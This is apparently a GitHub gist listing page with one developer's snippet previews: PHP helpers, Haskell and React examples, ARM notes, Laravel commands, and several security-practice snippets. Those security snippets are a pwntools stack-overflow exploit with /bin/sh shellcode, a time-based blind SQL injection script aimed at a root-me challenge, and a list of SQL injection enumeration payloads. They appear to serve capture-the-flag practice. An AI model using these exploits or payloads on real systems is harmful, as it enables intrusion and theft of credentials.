Skip to content

Instantly share code, notes, and snippets.

@veeeeeeeeeee
veeeeeeeeeee / snippets.php
Last active January 17, 2019 04:35
PHP snippets
// dump array key -> value without noise
function pprint($array) {
echo "<pre style=\"background-color: #ddd;\">";
print_r($array);
echo "</pre>";
}
function randomString($length) {
if (gettype($length) !== 'integer') {
$length = 30;
@veeeeeeeeeee
veeeeeeeeeee / curl_wrapper.php
Last active November 21, 2018 00:22
PHP snippets
<?
public function curl($method, $id, $custom, $body) {
ob_start();
$curl = curl_init();
if ($id) $$url .= $id;
if ($custom) $url .= $custom;
$headers = [
'Content-Type: application/json',
@veeeeeeeeeee
veeeeeeeeeee / baby_recursion.hs
Last active January 15, 2019 07:40
Haskell snippets
module Main where
main :: IO ()
main = do
putStrLn (greet "hello world")
putStrLn (greet "viet")
fac :: (Integral a) => a -> a
fac 0 = 1
@veeeeeeeeeee
veeeeeeeeeee / HoC.jsx
Last active February 9, 2019 06:07
JS Snippets
// Enhancer.js
import { transform } from 'magic';
export const Enhancer = WrappedComponent =>
class EnhancedComponent {
// ...
const transformedProps = transform(this.props);
render() {
return <WrappedComponent ...transformedProps />;
#!/usr/bin/env python
from pwn import *
import struct, sys
p = process("./ret2stack")
nop_sled = '\x90' * 16
shellcode = '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05'
@veeeeeeeeeee
veeeeeeeeeee / arm.txt
Last active January 15, 2018 03:07
RE tooltip
instructions
1. basic arithmetic
- and rga, rgb, arg ; rga = rgb & arg
- eor _ ; ^
- sub _ ; -
- rsb _ ; rga = arg - rgb
- add _ ; +
- adc _ ; + + carry
@veeeeeeeeeee
veeeeeeeeeee / blind.py
Last active November 18, 2017 08:15
Blind injection
#!/usr/bin/env python
import requests
baseurl = 'http://challenge01.root-me.org/web-serveur/ch40/'
inject = '1; select case when %s then pg_sleep(15) else pg_sleep(0) end--'
cond1 = '(chr(%d) = substr((select password from users where username = $$admin$$), %d, 1))'
cond2 = '((select chr(117)||chr(115)||chr(101)||chr(114)||chr(115)) in (select table_name from information_schema.tables))'
cond3 = '(%d < (select char_length((select password from users where username = $$admin$$))))'
@veeeeeeeeeee
veeeeeeeeeee / injection.sql
Last active November 18, 2017 08:16
SQLi useful payload
select 1,2,grantee, is_grantable from information_schema.user_privileges where privilege_type = conv(0x66696c65,16,2)--
and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_name = 0x6d656d626572 limit 1 offset 2)))--
union all select group_concat(table_name from information_schema.tables)
select string_agg(column_name, chr(20)) from information_schema.columns where table_name = $$users$$
@veeeeeeeeeee
veeeeeeeeeee / laravel.bat
Last active February 19, 2018 11:51
Laravel
composer create-project --prefer-dist laravel/laravel MyProject
@@@@@@@@@@@@@@@@@@
php artisan make:model MyModel
php artisan make:model MyModel --migration
php artisan make:migration create_models_table --table=models
php artisan make:controller MyModelController --model=Model
@veeeeeeeeeee
veeeeeeeeeee / helper.txt
Last active April 10, 2018 05:06
New Laravel
- create folder Helpers under app\
- create new class Helper {}
- include inside config\app.php
'Helper' => App\Helpers\Helper::class,
- usage:
use Helper;
$h = new Helper();
$h->stuff();
- create new file Helpers\helpers.php